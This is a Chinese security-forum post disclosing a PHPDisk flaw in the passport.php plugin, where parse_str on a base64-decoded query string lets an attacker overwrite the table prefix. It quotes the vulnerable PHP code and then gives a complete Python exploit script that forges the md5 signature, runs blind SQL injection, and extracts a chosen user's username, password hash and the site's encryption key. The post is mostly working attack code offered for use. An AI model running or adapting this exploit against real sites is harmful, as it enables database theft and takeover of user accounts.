查看: 11085|回复: 0

phpdisk 盲注和前台任意用户登录漏洞附利用exp

[复制链接]
  • TA的每日心情

    2024-12-14 22:22
  • 签到天数: 1631 天

    [LV.Master]伴坛终老

    发表于 2013-8-28 10:22:24 | 显示全部楼层 |阅读模式
    文件 plugins\phpdisk_client\passport.php

    1. $str = $_SERVER['QUERY_STRING'];
    2. if($str){
    3.     parse_str(base64_decode($str));// 触发函数
    4. }else{
    5.     exit('Error Param');
    6. }
    7. /*$username = trim(gpc('username','G',''));
    8. $password = trim(gpc('password','G',''));
    9. $sign = trim(gpc('sign','G',''));*/
    10. if($sign!=strtoupper(md5($action.$username.$password))){
    11.     exit('No data,Code:2!');
    12. }
    13. $username = is_utf8() ? convert_str('gbk','utf-8',$username) : $username;
    14. if($action=='passportlogin'){
    15.     $rs = $db->fetch_one_array("select userid,gid,username,password,email from {$tpf}users where username='$username' and password='$password' limit 1");  //覆盖tpf
    复制代码
    phpdisk.py exploit

    1. #===============================================================================
    2. # Id :phpdisk.y
    3. # Author:Yaseng
    4. #===============================================================================
    5. import   sys, urllib2, time, os , Queue, msvcrt, threading,re,base64,md5,hashlib,binascii,cookielib
    6.    
    7. def cslogo():
    8.     print '''
    9.   ___  ___  ____  ____  ____  __      __   _  _
    10. / __)/ _ \(  _ \( ___)(  _ \(  )    /__\ ( \/ )
    11. ( (__( (_) ))(_) ))__)  )___/ )(__  /(__)\ \  /
    12. \___)\___/(____/(____)(__)  (____)(__)(__)(__)
    13. Name:phpdisk bind sql injection  exploit
    14. Author:Yaseng [yaseng@uauc.net]
    15. Usage:phpdisk.py  site[www.yaseng.me]   id[1]
    16. '''
    17.    
    18. # show message
    19. def msg(text, type=0):
    20.     if type == 0:
    21.        str_def = "[*]"
    22.     elif  type == 1:
    23.        str_def = "[+]"
    24.     else:
    25.        str_def = "[-]";
    26.     print str_def + text;
    27.    
    28. # get url data
    29. def get_data(url):
    30.     try:
    31.       r = urllib2.urlopen(url, timeout=10)
    32.       return r.read()
    33.     except :
    34.      return 0
    35. def b(url):
    36.      if   get_data(url).find("ssport Err",0) != -1 :
    37.         return 0
    38.      return 1
    39.    
    40. def make_plyload(payload):
    41.      return   target+"?"+base64.b64encode("username=1&password=1&action=passportlogin&tpf="+payload+"&sign="+md5.new("passportlogin"+"1"+"1").hexdigest().upper())  
    42.    
    43. def get_username():
    44.    
    45.     msg("get  username ...")
    46.     global  pass_list
    47.     len=0
    48.     for i in range(40) :
    49.          if  b(make_plyload("pd_users  WHERE 1   and   (SELECT  LENGTH(username)  from  pd_users where userid=%d )= %d  #" % (uid,i))):
    50.             len=i
    51.             msg("username length:%d" % len,1)
    52.             break
    53.     global  key_list
    54.     key_list=['0','1','2','3','4','5','6','7','8','9']
    55.     key_list+=map(chr,range(97,123))
    56.     username=""
    57.     for i  in range(len) :
    58.        for key in key_list :
    59.             t=key
    60.             if type(key) != int :
    61.                 t="0x"+binascii.hexlify(key)
    62.             if(b(make_plyload(" pd_users WHERE 1   and   (SELECT  substr(username,%d,1)   from  pd_users  where userid=%d )=%s #" % (i+1,uid,t)))) :
    63.              msg("username [%d]:%s" % (i+1,key))
    64.              username+=key
    65.              break
    66.     msg("username:"+username,1)
    67.     return  username  
    68.    
    69. def get_password():   
    70.    
    71.      pass_list=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
    72.      password=""
    73.      for i  in range(32) :
    74.         for key in pass_list :
    75.              t=key
    76.              if type(key) != int :
    77.                  t="0x"+binascii.hexlify(key)
    78.              if(b(make_plyload(" pd_users WHERE 1   and   (SELECT  substr(password,%d,1)     from  pd_users  where userid=%d )= %s #" % (i+1,uid,t)))) :
    79.               msg("password [%d]:%s" % (i+1,key))
    80.               password+=key
    81.               break
    82.      msg("username:"+password,1)
    83.      return password      
    84.    
    85. def get_encrypt_key():
    86.    
    87.     msg("get encrypt_key ...")
    88.     global  pass_list
    89.     pass_list=map(chr,range(97,123))
    90.     len=0
    91.     for i in range(40) :
    92.         if  b(make_plyload("pd_users  WHERE 1   and   ( SELECT  LENGTH(value)  from  pd_settings  where        vars=0x656e63727970745f6b6579 )=%d  #23" % i)):
    93.             len=i
    94.             msg("encrypt_key length:%d" % len,1)
    95.             break
    96.     global  key_list
    97.     key_list=['0','1','2','3','4','5','6','7','8','9']
    98.     key_list+=map(chr,range(65,91)+range(97,123))
    99.     encrypt_key=""
    100.     for i  in range(len) :
    101.        for key in key_list :
    102.          t=key
    103.          if type(key) != int :
    104.             t="0x"+binascii.hexlify(key)
    105.          if(b(make_plyload(" pd_users WHERE 1   and   ( SELECT  binary(substr(value,%d,1))  from  pd_settings  where        vars=0x656e63727970745f6b6579 )  = %s #" % (i+1,t)))) :
    106.           msg("key [%d]:%s" % (i+1,key))
    107.           encrypt_key+=key
    108.           break
    109.     msg("encrypt_key:"+encrypt_key,1)
    110.     return  encrypt_key  
    111.    
    112. if __name__ == '__main__':
    113.    
    114.    cslogo()
    115.    if len(sys.argv) > 1 :
    116.     site=sys.argv[1];
    117.     global target
    118.     global uid
    119.     try :
    120.      uid=int(sys.argv[2]);
    121.     except :
    122.       uid =1
    123.     target=site+"/plugins/phpdisk_client/passport.php"
    124.     msg("exploit:"+site)
    125.    #print get_data(make_plyload(" pd_users WHERE 1   and   ( SELECT  substr(value,2,1)  from  pd_settings  where        vars=0x656e63727970745f6b6579 )  = 9 %23"))
    126.     if get_data(target) :
    127.        username=get_username()
    128.        if len(username) > 0 :
    129.          password=get_password()
    130.          if len(password) == 32 :
    131.             msg("Succeed: username:%s  password:%s" % (username,password),1)
    132.     else :
    133.        msg("vulnerability  not  exits",2);
    134.        exit();
    复制代码
    作者:yaseng
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-28 13:16 , Processed in 0.024195 second(s), 15 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部